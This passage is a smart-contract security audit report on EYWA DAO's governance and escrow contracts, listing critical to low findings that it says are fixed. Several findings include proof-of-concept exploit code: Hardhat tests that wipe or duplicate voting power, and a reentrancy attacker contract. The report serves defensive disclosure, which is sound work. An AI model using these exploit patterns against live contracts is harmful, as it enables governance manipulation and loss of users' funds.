# EYWA DAO SECURITY AUDIT REPORT

Jan 15, 2025

MixBytes()

# TABLE OF CONTENTS

# 1. INTRODUCTION

## 1.1 Disclaimer

The audit makes no statements or warranties about utility of the code, safety of the code, suitability of the business model, investment advice, endorsement of the platform or its products, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. The audit documentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of the Client. If you are not the intended recipient(s) of this document, please note that any disclosure, copying or dissemination of its content is strictly forbidden.

## 1.2 Security Assessment Methodology

A group of auditors are involved in the work on the audit. Security engineers check the provided source code independently of each other in accordance with the methodology described below:

### 1. Project architecture review:

- Project documentation review.
- General code review.
- Reverse research and study of the project architecture on the source code alone.

Stage goals
- Build an independent view of the project's architecture.
- Identifying logical flaws.

### 2. Checking the code in accordance with the vulnerabilities checklist:

- Manual code check for vulnerabilities listed on the Contractor's internal checklist. The Contractor's checklist is constantly updated based on the analysis of hacks, research, and audit of the clients' codes.
- Code check with the use of static analyzers (i.e Slither, Mythril, etc).

Stage goal

Eliminate typical vulnerabilities (e.g. reentrancy, gas limit, flash loan attacks etc.).

### 3. Checking the code for compliance with the desired security model:

- Detailed study of the project documentation.
- Examination of contracts tests.
- Examination of comments in code.
- Comparison of the desired model obtained during the study with the reversed view obtained during the blind audit.
- Exploits PoC development with the use of such programs as Brownie and Hardhat.

Stage goal

Detect inconsistencies with the desired model.

### 4. Consolidation of the auditors' interim reports into one:

- Cross check: each auditor reviews the reports of the others.
- Discussion of the issues found by the auditors.
- Issuance of an interim audit report.

Stage goals

- Double-check all the found issues to make sure they are relevant and the determined threat level is correct.
- Provide the Client with an interim report.

### 5. Bug fixing & re-audit:

- The Client either fixes the issues or provides comments on the issues found by the auditors. Feedback from the Customer must be received on every issue/bug so that the Contractor can assign them a status (either "fixed" or "acknowledged").
- Upon completion of the bug fixing, the auditors double-check each fix and assign it a specific status, providing a proof link to the fix.
- A re-audited report is issued.

Stage goals

- Verify the fixed code version with all the recommendations and its statuses.
- Provide the Client with a re-audited report.

### 6. Final code verification and issuance of a public audit report:

- The Customer deploys the re-audited source code on the mainnet.
- The Contractor verifies the deployed code with the re-audited version and checks them for compliance.
- If the versions of the code match, the Contractor issues a public audit report.

Stage goals

- Conduct the final check of the code deployed on the mainnet.
- Provide the Customer with a public audit report.

### Finding Severity breakdown

All vulnerabilities discovered during the audit are classified based on their potential severity and have the following classification:

| Severity | Description |
| --- | --- |
| Critical | Bugs leading to assets theft, fund access locking, or any other loss of funds. |
| High | Bugs that can trigger a contract failure. Further recovery is possible only by manual modification of the contract state or replacement. |
| Medium | Bugs that can break the intended contract logic or expose it to DoS attacks, but do not cause direct loss funds. |
| Low | Bugs that do not have a significant immediate impact and could be easily fixed. |

Based on the feedback received from the Customer regarding the list of findings discovered by the Contractor, they are assigned the following statuses:

| Status | Description |
| --- | --- |
| Fixed | Recommended fixes have been made to the project code and no longer affect its security. |
| Acknowledged | The Customer is aware of the finding. Recommendations for the finding are planned to be resolved in the future. |

## 1.3 Project Overview

EYWA DAO is the governing entity of the protocol, controlled by the holders of veEYWA. The primary goal of EYWA DAO is to create long-term incentives to attract cross-chain liquidity. Locking for veEYWA allows holders of EYWA token to gain a share of platform fees, to vote on the biweekly emissions using the Cross-chain Gauge System, and to create and vote for governance proposals.

## 1.4 Project Dashboard

### Project Summary

| Title | Description |
| --- | --- |
| Client | Eywa |
| Project name | DAO |
| Timeline | 14.11.2024 - 13.01.2025 |
| Number of Auditors | 3 |

### Project Log

| Date | Commit Hash | Note |
| --- | --- | --- |
| 14.11.2024 | 29465033f28c8d3f09cbc6722e08e44f443bd3b2 | Commit for the audit |
| 10.12.2024 | 39fba4bee623a3e60a529416f93d76e73658440d | Commit for the re-audit |
| 17.12.2024 | be50789c420faefa7f31d4295c46eb41031bd0df | Commit for the re-audit |
| 18.12.2024 | 4f2b045c507ec910a963cc516e0bc36b183a15cc | Commit for the re-audit |
| 23.12.2024 | 17c17b25a2780eefc3d37270d86c638487fde450 | Commit for the re-audit |

| Date | Commit Hash | Note |
| --- | --- | --- |
| 24.12.2024 | 466580f502e6ddf99b942f83535b09a18d232eb5 | Commit for the re-audit |
| 30.12.2024 | 697af2f9edc4405a64c8dd0b935214d66f77c7e7 | Commit for the re-audit |
| 13.01.2025 | 4541a4269ef93307f1e4c7812302a9bc62abfaff | Commit for the re-audit |

### Project Scope

The audit covered the following files:

| File name | Link |
| --- | --- |
| contracts/GrantEmissionDistributorV1.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/GrantEmissionDistributorV1.sol |
| contracts/IncentiveRewardsDistributor.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/IncentiveRewardsDistributor.sol |
| contracts/IncentiveEmissionDistributorV1.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/IncentiveEmissionDistributorV1.sol |
| contracts/GaugeFactoryV1.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/GaugeFactoryV1.sol |

| File name | Link |
| --- | --- |
| contracts/RebaseRewardsDistributorV1.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/RebaseRewardsDistributorV1.sol |
| contracts/ProposalManager.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/ProposalManager.sol |
| contracts/EscrowVoteManagerV1.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowVoteManagerV1.sol |
| contracts/EmissionManagerV1.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EmissionManagerV1.sol |
| contracts/BondEmissionDistributorV1.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/BondEmissionDistributorV1.sol |
| contracts/GaugeV1.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/GaugeV1.sol |
| contracts/EscrowManager.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowManager.sol |
| contracts/RewardsDistributorFactoryV1.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/RewardsDistributorFactoryV1.sol |

| File name | Link |
| --- | --- |
| contracts/super/RewardsDistributor.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/super/RewardsDistributor.sol |
| contracts/CalldataHelperV1.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/bfffddc307376c39ee969ea14234c40ec3fba2c5/contracts/CalldataHelperV1.sol |
| contracts/MetadataProviderV1.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/bfffddc307376c39ee969ea14234c40ec3fba2c5/contracts/MetadataProviderV1.sol |
| contracts/libraries/VotingPowerHelper.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/bfffddc307376c39ee969ea14234c40ec3fba2c5/contracts/libraries/VotingPowerHelper.sol |
| contracts/Treasury.sol | https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/697af2f9edc4405a64c8dd0b935214d66f77c7e7/contracts/Treasury.sol |

### Deployments

| File name | Contract deployed on mainnet | Comment |
| --- | --- | --- |
| ERC1967Proxy.sol | 0xC33e9C...5e16F8C3 | Proxy for BondEmissionDistributorV1 |
| BondEmissionDistributorV1.sol | 0xF856b7...47665794 | |

| File name | Contract deployed on mainnet | Comment |
| --- | --- | --- |
| ERC1967Proxy.sol | 0xFe56E3...B685D7BF | Proxy for EmissionManagerV1 |
| EmissionManagerV1.sol | 0x00562A...8b1f6c45 | |
| EmissionManagerV1.sol | 0xAC021F...4E086966 | New implementation after re-audit |
| ERC1967Proxy.sol | 0xBF1669...38B60EF7 | Proxy for EscrowVoteManagerV1 |
| EscrowVoteManagerV1.sol | 0x987c25...eA674a30 | |
| ERC1967Proxy.sol | 0x0A1806...e72E200a | Proxy for GaugeFactoryV1 |
| GaugeFactoryV1.sol | 0x6A2183...55A7586B | |
| ERC1967Proxy.sol | 0x061429...29f0041f | Proxy for GrantEmissionDistributorV1 |
| GrantEmissionDistributorV1.sol | 0xF856b7...47665794 | Same implementation as for BondEmissionDistributorV1 |
| ERC1967Proxy.sol | 0x30C290...2ad13c60 | Proxy for IncentiveEmissionDistributorV1 |
| IncentiveEmissionDistributorV1.sol | 0xF856b7...47665794 | Same implementation as for BondEmissionDistributorV1 |

| File name | Contract deployed on mainnet | Comment |
| --- | --- | --- |
| ERC1967Proxy.sol | 0xbc84aF...cAbABAB2 | Proxy for RebaseRewardsDistributorV1 |
| RebaseRewardsDistributorV1.sol | 0xc40283...Ffe6A170 | |
| ERC1967Proxy.sol | 0x77ee64...5f269c6C | Proxy for RewardsDistributorFactoryV1 |
| RewardsDistributorFactoryV1.sol | 0xE8583d...d07201a4 | |
| ERC1967Proxy.sol | 0x3a199F...135B41A1 | Proxy for DelegationManagerV1 |
| DelegationManagerV1.sol | 0xcB9A65...ea35761D | |
| EscrowManager.sol | 0xdCa5d1...6e5E1faD | |
| ProposalManager.sol | 0xCd339e...f5a66B2b | |
| TimelockController.sol | 0x090929...deAF09b5 | |
| ERC1967Proxy.sol | 0xE231a4...1b630a6a | Proxy for CalldataHelperV1 |
| CalldataHelperV1.sol | 0x0cfE48...824D26B4 | |
| ERC1967Proxy.sol | 0xF36215...33E07199 | Proxy for MetadataProviderV1 |

| File name | Contract deployed on mainnet | Comment |
| --- | --- | --- |
| MetadataProviderV1.sol | 0x82057d...d2Bd06b9 | |
| VotingPowerHelper.sol | 0x3107Ce...72Edf20c | |
| Treasury.sol | 0x95903C...324c9f34 | |

## 1.5 Summary of findings

| Severity | # of Findings |
| --- | --- |
| Critical | 4 |
| High | 7 |
| Medium | 5 |
| Low | 10 |

| ID | Name | Severity | Status |
| --- | --- | --- | --- |
| C-1 | Missing validation of vesting wallets in `EscrowManager.createLock()` | Critical | Fixed |
| C-2 | Incorrect checkpoint handling nullifies voting weights | Critical | Fixed |
| C-3 | Duplicate voting via EscrowManager NFT transfers | Critical | Fixed |
| C-4 | Reentrancy in `EscrowManager` | Critical | Fixed |
| H-1 | Incorrect logic in `GaugeV1.notifyRewardAmount()` | High | Fixed |
| H-2 | Incorrect `ProposalManager.CLOCK()` behaviour | High | Fixed |
| H-3 | Protocol DoS via `EscrowVoteManagerV1.poke()` | High | Fixed |

| | | | |
|---|---|---|---|
| H-4 | `s_votesByPool[m_pool]` persists indefinitely, leading to rewards allocation after lock expiry | High | Fixed |
| H-5 | Incorrect transfer of ERC-20 tokens to non-compatible contract | High | Fixed |
| H-6 | Incorrect math in `EscrowManager.getPastVotes()` | High | Fixed |
| H-7 | Unchecked voting status in `moveVotes()` allows vote power inflation | High | Fixed |
| M-1 | User cannot deboost after the vote is reset due to `s_hasVotedByEpochAndTokenId` remaining `true` for the current epoch | Medium | Fixed |
| M-2 | Incorrect struct copy leads to unexpected behavior | Medium | Fixed |
| M-3 | A killed gauge keeps receiving rewards | Medium | Fixed |
| M-4 | Non-zero `rebaseEmission_` value from `EmissionManagerV1._calculateRebaseEmission` when `totalLocked` is zero | Medium | Fixed |
| M-5 | Execution of a proposal with a blacklisted selector | Medium | Fixed |
| L-1 | `IncentiveRewardsDistributor.notifyRewardAmount()` does not check that tokens were removed from whitelist | Low | Fixed |
| L-2 | Inconsistent access control on `updateTimelock` method | Low | Fixed |

| | | | |
|---|---|---|---|
| L-3 | Issue with fee-on-transfer tokens in `RewardsDistributor` | Low | Fixed |
| L-4 | Suboptimal error handling in `EmissionManagerV1` | Low | Fixed |
| L-5 | DoS vulnerability in `EmissionManagerV1.updateEpoch()` | Low | Fixed |
| L-6 | Missing event in `GaugeFactoryV1` | Low | Fixed |
| L-7 | Unused validation in `RewardsDistributor` | Low | Fixed |
| L-8 | Missing validation in `ProposalManager._slice()` | Low | Fixed |
| L-9 | Missing `_disableInitializers()` in implementations | Low | Fixed |
| L-10 | Duplicate selectors in `ProposalManager` | Low | Fixed |

## 1.6 Conclusion

In this audit, we went through our detailed checklist, covering other aspects such as business logic, common ERC20 issues, interactions with external contracts, integer overflows, reentrancy attacks, access control, typecast pitfalls, rounding errors and other potential issues.

All vulnerabilities that were found during the audit of the Eywa DAO have been fixed.

Final notes:

- EmissionManagerV1 accumulates minor dust over time during the emission calculations. However, if a significant amount accumulates in the future, it can be withdrawn by upgrading the contract.
- The Eywa DAO token governs rewards and proposals. Hypothetically, it could face a vampire attack, similar to the Curve-Convex example. To mitigate this risk, the team added a blacklist of proposal signatures in the ProposalManager, preventing the DAO from executing malicious calls.
- Given the complexity and size of the project, as well as the significant number of issues identified during our audit, we strongly recommend conducting an additional audit with another team. This step would mitigate the risk of human error, provide a broader and deeper analysis, and further enhance community trust by demonstrating a commitment to transparency and security. An independent review could help identify any overlooked issues, ensuring the project's security and reinforcing its reputation in the market.

# 2. FINDINGS REPORT

## 2.1 Critical

| | |
|---|---|
| C-1 | Missing validation of vesting wallets in `EscrowManager.createLock()` |
| **Severity** | Critical |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e736584440d |

**Description**

`EscrowManager.createLock()` lacks whitelist verification for the `vestingWallets_` parameter. This allows an attacker to use the same "poisoned" vesting wallet multiple times to artificially increase voting power in the system.

The poisoned wallet is a custom contract that does nothing on `transfer()`.

```
function createLock(
    uint256 lockDuration_,
    address recipient_,
    address[] calldata vestingWallets_
) external {
    if (vestingWallets_.length == 0) {
        revert InvalidArrayLength();
    }
    uint256 m_lockAmount;
    IVestingWallet m_vestingWallet;
    for (uint256 i = 0; i < vestingWallets_.length; ++i) {
        m_vestingWallet = IVestingWallet(vestingWallets_[i]);
        // Only beneficiary is checked, but not the wallet address itself
        if (m_vestingWallet.beneficiary() != msg.sender) {
            revert InvalidBeneficiary();
        }
        m_lockAmount += EYWA.balanceOf(address(m_vestingWallet));
        m_vestingWallet.transfer(address(this));
    }
    ...
}
```

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowManager.sol#L175-180

**Recommendation**

We recommend validating vesting wallet addresses. For example, this can be done via whitelisting or via a factory.

| C-2 | Incorrect checkpoint handling nullifies voting weights |
| --- | --- |
| Severity | Critical |
| Status | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

- https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowManager.sol#L869

A vulnerability has been identified in the `_findCheckpoint` method of the `EscrowManager` contract, where it incorrectly handles checkpoints that occur within the same `block.timestamp`. When the current timestamp equals the timestamp of the checkpoint `[currentCheckpointNumber - 1]`, the same token is added to the tokenIds array, and `s_checkpointsNumberByAccount` is incremented by one. As a result, this creates a checkpoint with an empty `tokenIds` array.

When multiple checkpoints share the same timestamp, the method erroneously retrieves the current value instead of the correct historical value. This issue arises because `s_checkpoints[account_][m_checkpointsNumber - 1].timestamp == block.timestamp` leads to improper retrieval logic.

The `_moveVotes` function (see EscrowManager.sol#L723) does not account for this condition, causing an error where `m_oldTokenIds == s_checkpoint.tokenIds`. This inconsistency leads to `++s_checkpointsNumberByAccount[to_]` pointing to a non-existent array element, effectively corrupting the vote tracking mechanism.

An attacker can exploit this vulnerability to nullify any user's votes by performing actions that create multiple checkpoints at the same `block.timestamp`. For instance, by transferring a minimal amount (e.g., `1 wei` of EYWA tokens) to the target user's account multiple times within the same block, the attacker can reset the user's voting power to zero.

**Attack Example:**

```
// Hardhat configuration: allowUnlimitedContractSize: true
await escrowManager.connect(alice)["createLock(uint256,uint256,address)"](
    1, lockDuration, bob.address);
await escrowManager.connect(alice)["createLock(uint256,uint256,address)"](
    1, lockDuration, bob.address);

console.log("getVotes(bob)", await escrowManager.getVotes(bob.address));
// Output: 0
```

In this example, Alice creates two locks for Bob within the same block timestamp, resulting in Bob's votes being reset to zero.

**Recommendation**

We recommend avoiding increments to the `s_checkpointsNumberByAccount` mapping when changes occur at the same timestamp. Additionally, ensure that the same token is not pushed into the tokenIds array if it already exists within the same checkpoint.

| C-3 | Duplicate voting via EscrowManager NFT transfers |
| --- | --- |
| **Severity** | Critical |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

The `ProposalManager` contract relies on the `token().getPastVotes(account, timepoint)` method to determine the voting power of an account at a specific snapshot `timepoint`. However, there is no restriction preventing a user from voting on a proposal and then transferring their `tokenId` to another user, who can also vote on the same proposal using the same voting power.

```
const timestamp = BigInt(await time.latest()) - EPOCH_DURATION / 2n;

console.log("BEFORE ALICE",
            await escrowManager.getPastVotes(alice.address, timestamp));
console.log("BEFORE malory",
            await escrowManager.getPastVotes(malory.address, timestamp));

const tx = await escrowManager.connect(alice).
    transferFrom(alice.address, malory.address, aliceTokenId1);
await tx.wait();

console.log("AFTER ALICE",
            await escrowManager.getPastVotes(alice.address, timestamp));
console.log("AFTER malory",
            await escrowManager.getPastVotes(malory.address, timestamp));

// output:
// BEFORE ALICE 5393550315271500n
// BEFORE malory 0n
// AFTER ALICE 5393550315271500n
// AFTER malory 5393550315271500n
```

In the provided test case, after Alice transfers her `tokenId` to Malory, both Alice and Malory have the same voting power at the `timepoint`. This duplication occurs because `getPastVotes` returns the historical votes for an account at a given timestamp, regardless of subsequent transfers. As a result, both accounts can vote using the same voting power, effectively doubling the influence.

By repeatedly transferring the `tokenId` to multiple accounts, an attacker can artificially inflate the total votes for a proposal, potentially passing proposals without holding the requisite voting power legitimately.

**Recommendation**

We recommend ensuring that each voting NFT token can only be used once per proposal, even if transferred.

| C-4 | Reentrancy in `EscrowManager` |
| --- | --- |
| **Severity** | Critical |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/4f2b045c507ec910a963cc516e0bc36b183a15cc |

**Description**

OpenZeppelin ERC721 NFT implementations invoke the receiver whenever the `safeTransferFrom()` or `safeMint()` methods are called.

A hacker can exploit this mechanism by triggering a callback from `EscrowManager` during the execution of methods such as `createLock()` (when `_safeMint()` is invoked), `deboost()` (when `safeTransferFrom()` is invoked), and `withdraw()` (also when `safeTransferFrom()` is invoked), especially when the state of `EscrowManager` is inconsistent. This can corrupt storage variables or result in voting power gain.

**Example 1**: Reentrancy in the `deboost()` method with duplicate boosters.

An attacker can exploit a reentrancy vulnerability in the `deboost()` method, manipulating the boosting mechanism to their advantage:

1. The attacker calls the `deboost()` method and passes the same boosting NFT ID multiple times, e.g., `deboost(escrowId, [1,1,1,1,1,1,1,1])`.
2. During the transfer process, the `deboost()` method triggers a callback to the attacker's contract.
3. Each time the attacker's contract receives the NFT, it transfers the NFT back to `EscrowManager`.

As a result, the escrow boosting coverage can be reduced to zero, even though other boosting NFTs may still be present and not withdrawn. This makes subsequent calculations inaccurate, disproportionately **inflating** the attacker's `lockAmount` and voting power.

In the following proof-of-concept (PoC), after the attacker calls `deboost()`, their voting power **increases** significantly:

```
Hacker votes before deboost: 4402998660126770n
Hacker votes after  deboost: 1105121050824042828n
```

The PoC consists of two parts of code. First, the js-part:

```
await checkDeboostReentrancy(
    "aliceTokenId3",
    "Common2",
    "eywa NFT locked without boost");
async function checkDeboostReentrancy(
    aliceTokenId, eywaTokenId, description) {
describe(`Test reentrancy`, () => {
  describe("Test", () => {
  it("Test Reentrancy", async () => {
    const { eywaNFT, escrowManager, alice, AliceTokenId, TokenId } =
          await loadFixture(deploy);

    const otherBoosters =
    await escrowManager.getBoostersByTokenId(AliceTokenId["aliceTokenId4"])

    await escrowManager.connect(alice).deboost(
        AliceTokenId["aliceTokenId4"], [otherBoosters[0]])
    await eywaNFT.connect(alice).approve(
        await escrowManager.getAddress(), otherBoosters[0])
    await escrowManager.connect(alice).boost(
        AliceTokenId[aliceTokenId], [otherBoosters[0]])
    console.log(
        await escrowManager.getBoostersByTokenId(AliceTokenId[aliceTokenId]))

    const hackerContract = await (
        await ethers.getContractFactory("HackerHolder")).deploy(
          await escrowManager.getAddress(),
          AliceTokenId[aliceTokenId],
          TokenId[eywaTokenId],
          await escrowManager.COLLECTION(),
    )
    const hackerAddress = await hackerContract.getAddress()
    await escrowManager.connect(alice).transferFrom(
        alice, hackerAddress, AliceTokenId[aliceTokenId])
    console.log("Hacker votes before deboost",
                await escrowManager.getVotes(hackerAddress))
    await hackerContract.exploit()
    console.log("Hacker votes after  deboost",
                await escrowManager.getVotes(hackerAddress))
  })
})
})
}
```

Second, the hacker's contract:

```
contract HackerHolder is ERC721Holder {
  ICollection public immutable COLLECTION;
  EscrowManager es;
  uint escrowId;
  uint boostId;
  uint256[] collectionTokenIds;
  uint exploiting;

  constructor(
      EscrowManager es_,
      uint escrowId_,
      uint boostId_,
      address collection) {
    COLLECTION = ICollection(collection);
    es = es_;
    escrowId = escrowId_;
    boostId = boostId_;
  }

  function exploit() external {
    delete collectionTokenIds;
    collectionTokenIds.push(boostId);
    collectionTokenIds.push(boostId);
    exploiting = collectionTokenIds.length - 1;

    es.deboost(escrowId, collectionTokenIds);
  }

  function onERC721Received(
    address,
    address,
    uint256,
    bytes memory
  ) public virtual override returns (bytes4) {
    if (exploiting > 0) {
      exploiting--;
      COLLECTION.transferFrom(address(this), address(es), boostId);
    }
    return super.onERC721Received.selector;
  }
}
```

**Example 2**: A hacker can corrupt storage variables via `createLock()` and `withdraw()` methods.

**Attack Scenario:**

1. The attacker calls the `createLock()` method to mint a new NFT lock.
2. During the `_safeMint()` process, the `ERC721Utils.checkOnERC721Received()` callback is triggered on the attacker's contract.
3. Within this callback, the attacker calls `EscrowManager.withdraw()`, burning the newly minted NFT.

4. At this point, the NFT's state has not yet been fully updated in the `createLock()` function, allowing the attacker to corrupt the **totalLocked** value.

This altered **totalLocked** value could distort token emission calculations in the `emissionManager` contract, leading to unfair or excessive token distributions.

**Recommendation**

We recommend using the following approaches against reentrancy:

1. Use Check-Effect-Interaction pattern when minting, burning or transferring NFTs.
2. Use reentrancy guard modifiers.
3. Use methods that do not cause an unintentional callback.

## 2.2 High

| H-1 | Incorrect logic in `GaugeV1.notifyRewardAmount()` |
| --- | --- |
| **Severity** | High |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

The `notifyRewardAmount()` function in the `GaugeV1` contract uses an incorrect value for creating a Merkl campaign. Instead of the `amount_` parameter, it uses `balanceOf(address(this))`, while missing `transferFrom()` despite having a `forceApprove()` call.

```
function notifyRewardAmount(uint256 amount_) external {
    if (msg.sender != s_escrowVoteManager) {
        revert UnauthorizedCaller();
    }
    IERC20 m_eywa = IERC20(s_eywa);
    uint256 m_balance = m_eywa.balanceOf(address(this));
    if (m_balance * 1 hours / EPOCH_DURATION >=
        DISTRIBUTION_CREATOR.rewardTokenMinAmounts(address(m_eywa))) {
        m_eywa.approve(address(DISTRIBUTION_CREATOR), m_balance);
        IDistributionCreator.CampaignParameters memory m_campaignParameters =
            s_campaignParameters;
        m_campaignParameters.amount = m_balance;
        ...
    }
    ...
}
```

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/GaugeV1.sol#L54-69

When distributing rewards, `EscrowVoteManagerV1` approves `GaugeV1`, but the transfer of tokens does not occur.

Additionally, the **s_claimableRewardsByGauge** mapping is deleted, and the gauge loses its accumulated rewards.

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowVoteManagerV1.sol#L369-382

**Recommendation**

We recommend implementing functionality to transfer rewards from EscrowVoteManagerV1 to GaugeV1.

| H-2 | Incorrect `ProposalManager.CLOCK()` behaviour |
| --- | --- |
| Severity | High |
| Status | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

The `ProposalManager` contract interacts with `EscrowManager` as a **token**, but the `EscrowManager` contract does not implement the `CLOCK()` and `CLOCK_MODE()` methods.

When attempting to create a proposal using `ProposalManager.propose()`, the `clock()` method is invoked. The call to this method fails within the **try** block, causing the execution to enter the **catch** block. In the **catch** block, **block.number** is returned.

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/-/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/ProposalManager.sol#L161

The snapshot is calculated as **block.number + votingDelay**. With the current **votingDelay** set to 2 days, this results in a very small snapshot value, which is not aligned with expected behavior. The **proposalSnapshot** then used in `Governor.castVote()` and `ProposalManager.state()` methods returns incorrect values due to this miscalculation.

**Recommendation**

We recommend modifying the catch block in the `CLOCK()` method to return **block.timestamp** instead of **block.number**.

| H-3 | Protocol DoS via `EscrowVoteManagerV1.poke()` |
| --- | --- |
| **Severity** | High |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

Any user can call `EscrowVoteManagerV1.poke()` with a **tokenId** they do not own. This allows for disruption of the protocol by locking not-yet-minted tokens in a voting state. This causes the `EscrowManager` contract to fail during operations that invoke the `EscrowVoteManagerV1._update()` function (which is used by NFT's `mint()`, `burn()`, `transfer()`), as these operations rely on tokens being in an unlocked state.

Moreover, the comments in `IEscrowVoteManagerV1.poke()` state:

```
Useful when the voting power has changed due to staking or unstaking.
```

Hovewer, the pool associated with the token may end up receiving fewer votes, as the action does not align with the owner's intentions. This creates a risk of unexpected behavior and misuse.

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/-/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowVoteManagerV1.sol#L315

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/-/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowManager.sol#L474-476

The proof-of-concept test:

```
it.only("protocol DoS with poke()", async () => {
    await eywa.transfer(random, ethers.WeiPerEther);
    await eywa.connect(random).approve(escrowManager, ethers.WeiPerEther);

    let firstLockId = await escrowManager.s_nextTokenId();
    expect(firstLockId).to.eq(1);
    await escrowManager.connect(random)["createLock(uint256,uint256,address)"](
        ethers.WeiPerEther, ONE_YEAR, random.address);
    let secondLockId = await escrowManager.s_nextTokenId();
    expect(secondLockId).to.eq(2);
    await escrowVoteManagerV1.connect(random).poke(2);

    await expect(
      escrowManager.connect(alice)["createLock(uint256,uint256,address)"](
          ethers.parseEther("100"), EPOCH_DURATION, alice.address)
    ).to.be.revertedWithCustomError(escrowManager, "LockCurrentlyVoting");
  })
```

**Recommendation**

We recommend restricting the `EscrowVoteManagerV1.poke()` function so that it can only be called by the owner of the **tokenId**.

| H-4 | `s_votesByPool[m_pool]` persists indefinitely, leading to rewards allocation after lock expiry |
| --- | --- |
| **Severity** | High |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

When a user votes in the `EscrowVoteManagerV1` contract, the value of **s_votesByPool[m_pool]** is incremented by the user's voting power.

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowVoteManagerV1.sol#L307

However, this value does not decrease when the user's lock expires. Instead, it remains unchanged until the user explicitly interacts with one of the following functions.

1. `EscrowVoteManagerV1.vote()`
2. `EscrowVoteManagerV1.poke()`
3. `EscrowVoteManagerV1.reset()`

This behavior allows a user to create a lock, vote once, and ensure that the corresponding pool continues to benefit from their voting power indefinitely, even after the lock has expired. This occurs because the votes are not adjusted or re-evaluated unless the user takes further action.

Additionally, the gauge index is updated whenever new rewards are transferred to `EscrowVoteManagerV1`, which ensures that the gauge tied to the pool continues to receive rewards. This creates an inconsistency where expired locks still influence reward distribution.

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/-/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowVoteManagerV1.sol#L356

It was also found that if calling `s_escrowManager.getVotesByTokenId(tokenId_)` (https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/-/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowVoteManagerV1.sol#L198) returns `0`, then no one can nullify the user's votes, due to the following revert (https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/-/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowVoteManagerV1.sol#L303):

```
if (m_votesForPool == 0) {
    revert ZeroEntry();
}
```

This way, the user will forever have votes for pools in `EscrowVoteManagerV1`.

**Recommendation**

